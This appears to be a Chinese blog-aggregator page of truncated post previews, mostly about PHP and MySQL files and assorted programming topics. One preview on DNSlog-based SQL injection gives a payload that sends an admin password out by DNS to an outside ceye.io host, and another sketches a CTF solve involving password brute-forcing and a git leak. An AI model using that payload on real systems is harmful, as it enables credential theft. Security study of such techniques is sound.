进入题目发帖时提示要登录,密码用bp跑出来是666然后这个发帖形式很像上一题的二次注入,先构造sql语句,后面在留言界面输出稍微试了一下,有问题的都发不出留言在f12控制台发现这样一句话后,在url后添加.git被403禁止了,说明有git泄露githack载下来的源码跟没载一样
7.1MySQL数据库的连接与查询操作
KMWY
1,打开PHP工具箱,打开网站根目录(C:\myphp_www\PHPTutorial\WWW),在网站根目录创建一个文件夹名字随意,例如:zhibo;再在zhibo目录下创建一个3的名字文件夹,再在3的文件夹下创建一个叫mysql.php文件2.打开PHP工具箱,启动phpMyAdmin,用户名:root,密码是:root.连接myblog数据库,在myblog数据库中创建一个文件,这个数据表来
PHP全套PDO数据库MySql操作
时時雨雨
PHP数据库mysqlsqlphp
PHP数据库操作类轮子使用环境:PHP8因为最近想用PHP做一个MUD文字网游,为了方便操作数据库就造了个数据库操作的轮子,使用时直接require即可,轮子最后放出,先来演示使用方法吧打个广告:https://github.com/Drizzle365/fairy,这是正在制作的开源游戏演示(假设数据库操作类为mysql.php):1.查询某一条数据table('user')->field('*
微信群二维码活码生成源码
行云blog
文章目录[隐藏]源码介绍源码截图使用说明源码介绍微信群二维码活码工具,生成微信群活码,随时可以切换二维码!微信官方群二维码有效期是7天,过期后无法扫码进群,或者是群人数满200人就无法扫码进群,如果我们在推广的时候,群满人或者过期了,别人还想进群,我们将会失去很多推广效果,所以有了群活码,可以在不更换链接和二维码的前提下,切换扫码后显示的内容,灵活变换!源码截图使用说明只需要修改MySql.php
Magento 输出SQL语句用于调试
zhulilu214
Magento
打开/lib/Varien/Db/Adapter/Pdo/Mysql.php大约在45行,搜索代码:protected$_debug=false;修改为代码:protected$_debug=true;看该类的一个变量代码:[_debugFile:protected]=>var/debug/sql.txt(输出路径)随便运行Magento的一个页面,打开sql.txt看输出
php项目在登录时提示 PHP Fatal error: Uncaught Error: Class 'mysqli' not found in
hu_wenjie
OpsDev
PHPFatalerror:UncaughtError:Class'mysqli'notfoundin/var/www/html/xinhu/include/class/mysqliClass.php:9\nStacktrace:\n#0/var/www/html/xinhu/include/class/mysql.php(116):mysqliClass->connect()\n#1/var/w
自己写的微信群活码生成系统 微信群二维码活码生成
TANKING
php活码二维码群聊扫码
需求微信群二维码活码工具,生成微信群活码,随时可以切换二维码!微信官方群二维码有效期是7天,过期后无法扫码进群,或者是群人数满200人就无法扫码进群,如果我们在推广的时候,群满人或者过期了,别人还想进群,我们将会失去很多推广效果,所以有了群活码,可以在不更换链接和二维码的前提下,切换扫码后显示的内容,灵活变换!后台活码界面使用方法只需要修改MySql.php的数据库配置和后台账号密码即可,后台账号
tomcat 配置 quercus记录:php使用连接池访问数据库
java之迷
安装好quercus报错:D:\apache-tomcat-5.5.27\webapps\wfx\conn\mysql.php:9:Warning:Alinktotheservercouldnotbeestablished.url=jdbc:mysql://localhost:3306/fenyong?jdbcCompliantTruncation=false&characterSetResul
Dnslog在SQL注入 & 四种数据库
ProjectDer
渗透
https://www.anquanke.com/post/id/98096mysqlhttp://127.0.0.1/mysql.php?id=1unionselect1,2,load_file(CONCAT('\\',(SELECThex(pass)FROMtest.test_userWHEREname='admin'LIMIT1),'.mysql.nk40ci.ceye.io\abc'))m
php——25-留言板实例(前后端配合)
肖ZE
php
mysql.php前端页面connect_errnoquery('SETNAMESUTF8');//执行$sql='SELECT*FROMmsgORDERBYidDESC';$mysqli_result=$db->query($sql);if($mysqli_result===false){die('sql执行错误');}//循环数据$rows=[];while($row=$mysqli_resu
mysql原生态操作函数
呦丶耍脾气
//conf.php内容returnarray('host'=>'localhost','user'=>'root','pwd'=>'910420','db'=>'boke','charset'=>'utf8','salt'=>'Lsd":Adfqef]',);//mysql.php内容$v){$str.=$k."='".$v."',";}$str=rtrim($str,',');$sql=
轻言放弃之博客005
土乒76
引入关系:init.php>mysql.php>config.php//init.php";//C:\xampp\htdocs\QYFQ\lib//echodirname(__DIR__),"";//当前目录的上一级//echo__FILE__,"";//C:\xampp\htdocs\QYFQ\lib\init.php//echo__LINE__;//5//字符集header('Content-
轻言放弃之博客004
土乒76
函数封装//mysql.php$v){$sql.=$k."='".$v."',";}$sql=rtrim($sql,',')."where".$where;//去掉最后一个多余的逗号//echo$sql;returnmQuery($sql);}}$data=array('title'=>'今天的空气','content'=>'空气质量堪忧','pubtime'=>123456,'author'=>
ubuntu 18.04安装mysql后,登录时出现ERROR 1045 (28000): Access denied for user 'root'@'localhost' 问题解决!
hery186
数据库服务器
一、问题描述我在安装的过程中没有弹出任何窗口,而且也没有报错。在配置mysql.php文件时,死活连不上,当我在登录mysql确认一下用户名和密码时,问题就出现了,ERROR1045(28000):Accessdeniedforuser'root'@'localhost'(usingpassword:NO)找到了一个解释出现这种问题的原因(并非解决办法)MySQLERROR1045(28000):
ubuntu 18.04安装mysql后,登录时出现ERROR 1045 (28000): Access denied for user 'root'@'localhost' 问题解决!
weiwei_hx
Linux
一、问题描述我在安装的过程中没有弹出任何窗口,而且也没有报错。在配置mysql.php文件时,死活连不上,当我在登录mysql确认一下用户名和密码时,问题就出现了,ERROR1045(28000):Accessdeniedforuser'root'@'localhost'(usingpassword:NO)找到了一个解释出现这种问题的原因(并非解决办法)MySQLERROR1045(28000):
PHP操作数据库的封装方法
胡自鲜
当我们写一个项目的时候,可能会在多个php文件中对数据库进行操作,我们可以把这些操作封装成方法,然后在需要用到的php文件中引入该php文件就可以了我们建一个mySql.php文件错误描述:网站错误,请联系管理员";returnfalse;}//插入的方法functioninsert($link,$fields,$table){$sql="insertinto";$sql=$sql.$table.
ab 模拟测试秒杀存在的问题
qq_36031634
.我的环境是windows下的phpstudy,进入到apache/bin目录里面有个ab.exe,压力测试命令如下[python]viewplaincopy./ab.exe -c 200 -n 1000 http://192.168.1.244/mysql.php 2.mysql.php代码如下正常的逻辑思维,压力增大后,导致数据库num字段成为负数,将下面代码粘贴到自己网站下测试即可。在te
php XMLWriter类的简单示例
Writer
这是一段写博客RSS的代码,不多说
include 'mysql.php';$mysql= mysql::getObject();$mysql->query("SELECT * FROM post");$xml = new XMLWriter();$xml->openUri('hello.xml'); // or 'php://output'$xml->
php 高效分页
PHP
mysql.php 获取数据库中的记录,完全个人经验总结,仅供参考!<?php/***PHP+MYSQL数据库基本功能*http://blog.csdn.net/yown*/#############################################获取序列ID############################################function getSeq
PHP登陆页面完整代码
PHP
/*
包括的文件
*/
/*
login.php
*/
<?phprequire('./mysql.php');$username=$_REQUEST['username'];$passwd=$_REQUEST['passwd']session_start();$_SESSION['s_username']=$userna
Magento开发小技巧
agent
Magento多层继承,往往让初学者感觉到很头疼,除了要掌握一些常用的设计模式,尽量针对接口进行编程,有时候 通过记录sql日志是一个不错的分析工具,
比如 Model->save();你知道他到底是执行什么sql语句呢。 在lib\Varien\Db\Adapter\Pdo/Mysql.php有一个query方法,可以打印输出,我想这种方式在很多更复杂的系统,也是一样的吧。
mysql.php
mysql
<?
/* ***************************************
名称: dirmanage.php
作者: psdshow
&
SQLSTATE[08004] [1040] Too many connections
Connection
解决方案:敲入df -h 看是不是磁盘空间满了,如果满了删除几个文件即可
SQLSTATE[08004] [1040] Too many connections
Trace:#0 /home/wwwroot/www.example.com/lib/Zend/Db/Adapter/Pdo/Mysql.php(96): Zend_Db_Adapter_Pdo_Abstract->_conne
magento 代码真臃肿,
agent
Strict Notice: Only variables should be passed by reference in /var/www/html/www.szcpost.com/lib/Varien/Db/Adapter/Pdo/Mysql.php on line 2658#0 /var/www/html/www.szcpost.com/lib/Varien/Db/Adapte
PHP面向对象编程快速入门(2)
面向对象
} function getRowsNum($res)//取得行号 { return $this->Driver-> getRowsNum ($res); } } ? >
我们以操作MySQL数据库为例。我们写一个数据库驱动类MySQL,在该类中,我们把有关MySQL数据库操作的函数都做进一步的封装。把包含该类,文件名为MySQL.php的文件放在PHP的系统
PHP实现的迷你漂流瓶
吴家耀
本文实例讲述了PHP实现的迷你漂流瓶。分享给大家供大家参考。具体如下:mysql.php:ppicku.btn{font-family:"微软雅黑";font-size:12px;color:#FFF;background-color:#369;border:1pxsolid#666;}.box{font-family:"微软雅黑";color:#369;font-size:12px;border
lamp环境的搭建与运用
dcghc
mysql博客配置文件
lamp环境,就是把linux.apache(http).mysql.php结合在一起的环境,也就是它们首字母的组合。在现实生活和学习中有很大的应用,比如说我们最常见的论坛.博客等。下面就先介绍一下其环境搭建:环境:CentOS-6.4-x86-64首先需要安装那些需要的软件启动mysql并设置密码然后再启动http。因为以前http在启动的过程中会出现一个小错误,虽然不影响运行,但还是尽量改一下
lamp环境的搭建与运用
dcghc
mysql博客配置文件phpwind现实生活
lamp环境,就是把linux.apache(http).mysql.php结合在一起的环境,也就是它们首字母的组合。在现实生活和学习中有很大的应用,比如说我们最常见的论坛.博客等。下面就先介绍一下其环境搭建:环境:CentOS-6.4-x86-64首先需要安装那些需要的软件启动mysql并设置密码然后再启动http。因为以前http在启动的过程中会出现一个小错误,虽然不影响运行,但还是尽量改一下
Java实现的简单双向Map,支持重复Value
superlxw1234
java双向map
关键字:Java双向Map、DualHashBidiMap
有个需求,需要根据即时修改Map结构中的Value值,比如,将Map中所有value=V1的记录改成value=V2,key保持不变。
数据量比较大,遍历Map性能太差,这就需要根据Value先找到Key,然后去修改。
即:既要根据Key找Value,又要根据Value
PL/SQL触发器基础及例子
百合不是茶
oracle数据库触发器PL/SQL编程
触发器的简介;
触发器的定义就是说某个条件成立的时候,触发器里面所定义的语句就会被自动的执行。因此触发器不需要人为的去调用,也不能调用。触发器和过程函数类似 过程函数必须要调用,
一个表中最多只能有12个触发器类型的,触发器和过程函数相似 触发器不需要调用直接执行,
触发时间:指明触发器何时执行,该值可取:
before:表示在数据库动作之前触发
[时空与探索]穿越时空的一些问题
comsci
问题
我们还没有进行过任何数学形式上的证明,仅仅是一个猜想.....
这个猜想就是; 任何有质量的物体(哪怕只有一微克)都不可能穿越时空,该物体强行穿越时空的时候,物体的质量会与时空粒子产生反应,物体会变成暗物质,也就是说,任何物体穿越时空会变成暗物质..(暗物质就我的理
easy ui datagrid上移下移一行
商人shang
js上移下移easyuidatagrid
/**
* 向上移动一行
*
* @param dg
* @param row
*/
function moveupRow(dg, row) {
var datagrid = $(dg);
var index = datagrid.datagrid("getRowIndex", row);
if (isFirstRow(dg, row)) {
Java反射
oloz
反射
本人菜鸟,今天恰好有时间,写写博客,总结复习一下java反射方面的知识,欢迎大家探讨交流学习指教
首先看看java中的Class
package demo;
public class ClassTest {
/*先了解java中的Class*/
public static void main(String[] args) {
//任何一个类都
springMVC 使用JSR-303 Validation验证
杨白白
springmvc
JSR-303是一个数据验证的规范,但是spring并没有对其进行实现,Hibernate Validator是实现了这一规范的,通过此这个实现来讲SpringMVC对JSR-303的支持。
JSR-303的校验是基于注解的,首先要把这些注解标记在需要验证的实体类的属性上或是其对应的get方法上。
登录需要验证类
public class Login {
@NotEmpty
log4j
香水浓
log4j
log4j.rootCategory=DEBUG, STDOUT, DAILYFILE, HTML, DATABASE
#log4j.rootCategory=DEBUG, STDOUT, DAILYFILE, ROLLINGFILE, HTML
#console
log4j.appender.STDOUT=org.apache.log4j.ConsoleAppender
log4
使用ajax和history.pushState无刷新改变页面URL
agevs
jquery框架Ajaxhtml5chrome
表现
如果你使用chrome或者firefox等浏览器访问本博客、github.com、plus.google.com等网站时,细心的你会发现页面之间的点击是通过ajax异步请求的,同时页面的URL发生了了改变。并且能够很好的支持浏览器前进和后退。
是什么有这么强大的功能呢?
HTML5里引用了新的API,history.pushState和history.replaceState,就是通过
centos中文乱码
AILIKES
centosOSssh
一、CentOS系统访问 g.cn ,发现中文乱码。
于是用以前的方式:yum -y install fonts-chinese
CentOS系统安装后,还是不能显示中文字体。我使用 gedit 编辑源码,其中文注释也为乱码。
后来,终于找到以下方法可以解决,需要两个中文支持的包:
fonts-chinese-3.02-12.
触发器
baalwolf
触发器
触发器(trigger):监视某种情况,并触发某种操作。
触发器创建语法四要素:1.监视地点(table) 2.监视事件(insert/update/delete) 3.触发时间(after/before) 4.触发事件(insert/update/delete)
语法:
create trigger triggerName
after/before 
JS正则表达式的i m g
bijian1013
JavaScript正则表达式
g:表示全局(global)模式,即模式将被应用于所有字符串,而非在发现第一个匹配项时立即停止。 i:表示不区分大小写(case-insensitive)模式,即在确定匹配项时忽略模式与字符串的大小写。 m:表示
HTML5模式和Hashbang模式
bijian1013
JavaScriptAngularJSHashbang模式HTML5模式
我们可以用$locationProvider来配置$location服务(可以采用注入的方式,就像AngularJS中其他所有东西一样)。这里provider的两个参数很有意思,介绍如下。
html5Mode
一个布尔值,标识$location服务是否运行在HTML5模式下。
ha
[Maven学习笔记六]Maven生命周期
bit1129
maven
从mvn test的输出开始说起
当我们在user-core中执行mvn test时,执行的输出如下:
/software/devsoftware/jdk1.7.0_55/bin/java -Dmaven.home=/software/devsoftware/apache-maven-3.2.1 -Dclassworlds.conf=/software/devs
【Hadoop七】基于Yarn的Hadoop Map Reduce容错
bit1129
hadoop
运行于Yarn的Map Reduce作业,可能发生失败的点包括
Task Failure
Application Master Failure
Node Manager Failure
Resource Manager Failure
1. Task Failure
任务执行过程中产生的异常和JVM的意外终止会汇报给Application Master。僵死的任务也会被A
记一次数据推送的异常解决端口解决
ronin47
记一次数据推送的异常解决
需求:从db获取数据然后推送到B
程序开发完成,上jboss,刚开始报了很多错,逐一解决,可最后显示连接不到数据库。机房的同事说可以ping 通。
自已画了个图,逐一排除,把linux 防火墙 和 setenforce 设置最低。
service iptables stop
巧用视错觉-UI更有趣
brotherlamp
UIui视频ui教程ui自学ui资料
我们每个人在生活中都曾感受过视错觉(optical illusion)的魅力。
视错觉现象是双眼跟我们开的一个玩笑,而我们往往还心甘情愿地接受我们看到的假象。其实不止如此,视觉错现象的背后还有一个重要的科学原理——格式塔原理。
格式塔原理解释了人们如何以视觉方式感觉物体,以及图像的结构,视角,大小等要素是如何影响我们的视觉的。
在下面这篇文章中,我们首先会简单介绍一下格式塔原理中的基本概念,
线段树-poj1177-N个矩形求边长(离散化+扫描线)
bylijinnan
数据结构算法线段树
package com.ljn.base;
import java.util.Arrays;
import java.util.Comparator;
import java.util.Set;
import java.util.TreeSet;
/**
* POJ 1177 (线段树+离散化+扫描线),题目链接为http://poj.org/problem?id=1177
HTTP协议详解
chicony
http协议
引言
Scala设计模式
chenchao051
设计模式scala
Scala设计模式
我的话: 在国外网站上看到一篇文章,里面详细描述了很多设计模式,并且用Java及Scala两种语言描述,清晰的让我们看到各种常规的设计模式,在Scala中是如何在语言特性层面直接支持的。基于文章很nice,我利用今天的空闲时间将其翻译,希望大家能一起学习,讨论。翻译
安装mysql
daizj
mysql安装
安装mysql
(1)删除linux上已经安装的mysql相关库信息。rpm -e xxxxxxx --nodeps (强制删除)
执行命令rpm -qa |grep mysql 检查是否删除干净
(2)执行命令 rpm -i MySQL-server-5.5.31-2.el
HTTP状态码大全
dcj3sjt126com
http状态码
完整的 HTTP 1.1规范说明书来自于RFC 2616,你可以在http://www.talentdigger.cn/home/link.php?url=d3d3LnJmYy1lZGl0b3Iub3JnLw%3D%3D在线查阅。HTTP 1.1的状态码被标记为新特性,因为许多浏览器只支持 HTTP 1.0。你应只把状态码发送给支持 HTTP 1.1的客户端,支持协议版本可以通过调用request
asihttprequest上传图片
dcj3sjt126com
ASIHTTPRequest
NSURL *url =@"yourURL";
ASIFormDataRequest*currentRequest =[ASIFormDataRequest requestWithURL:url];
[currentRequest setPostFormat:ASIMultipartFormDataPostFormat];[currentRequest se
C语言中,关键字static的作用
e200702084
C++cC#
在C语言中,关键字static有三个明显的作用:
1)在函数体,局部的static变量。生存期为程序的整个生命周期,(它存活多长时间);作用域却在函数体内(它在什么地方能被访问(空间))。
一个被声明为静态的变量在这一函数被调用过程中维持其值不变。因为它分配在静态存储区,函数调用结束后并不释放单元,但是在其它的作用域的无法访问。当再次调用这个函数时,这个局部的静态变量还存活,而且用在它的访
win7/8使用curl
geeksun
win7
1. WIN7/8下要使用curl,需要下载curl-7.20.0-win64-ssl-sspi.zip和Win64OpenSSL_Light-1_0_2d.exe。 下载地址:
http://curl.haxx.se/download.html 请选择不带SSL的版本,否则还需要安装SSL的支持包 2. 可以给Windows增加c
Creating a Shared Repository; Users Sharing The Repository
hongtoushizi
git
转载自:
http://www.gitguys.com/topics/creating-a-shared-repository-users-sharing-the-repository/ Commands discussed in this section:
git init –bare
git clone
git remote
git pull
git p
Java实现字符串反转的8种或9种方法
Josh_Persistence
异或反转递归反转二分交换反转java字符串反转栈反转
注:对于第7种使用异或的方式来实现字符串的反转,如果不太看得明白的,可以参照另一篇博客:
http://josh-persistence.iteye.com/blog/2205768
/**
*
*/
package com.wsheng.aggregator.algorithm.string;
import java.util.Stack;
/**
代码实现任意容量倒水问题
home198979
PHP算法倒水
形象化设计模式实战 HELLO!架构 redis命令源码解析
倒水问题:有两个杯子,一个A升,一个B升,水有无限多,现要求利用这两杯子装C
Druid datasource
zhb8015
druid
推荐大家使用数据库连接池 DruidDataSource. http://code.alibabatech.com/wiki/display/Druid/DruidDataSource DruidDataSource经过阿里巴巴数百个应用一年多生产环境运行验证,稳定可靠。 它最重要的特点是:监控、扩展和性能。 下载和Maven配置看这里: http
两种启动监听器ApplicationListener和ServletContextListener
spjich
javaspring框架
引言:有时候需要在项目初始化的时候进行一系列工作,比如初始化一个线程池,初始化配置文件,初始化缓存等等,这时候就需要用到启动监听器,下面分别介绍一下两种常用的项目启动监听器
ServletContextListener
特点: 依赖于sevlet容器,需要配置web.xml
使用方法:
public class StartListener implements
JavaScript Rounding Methods of the Math object
何不笑
JavaScriptMath
The next group of methods has to do with rounding decimal values into integers. Three methods — Math.ceil(), Math.floor(), and Math.round() — handle rounding in differen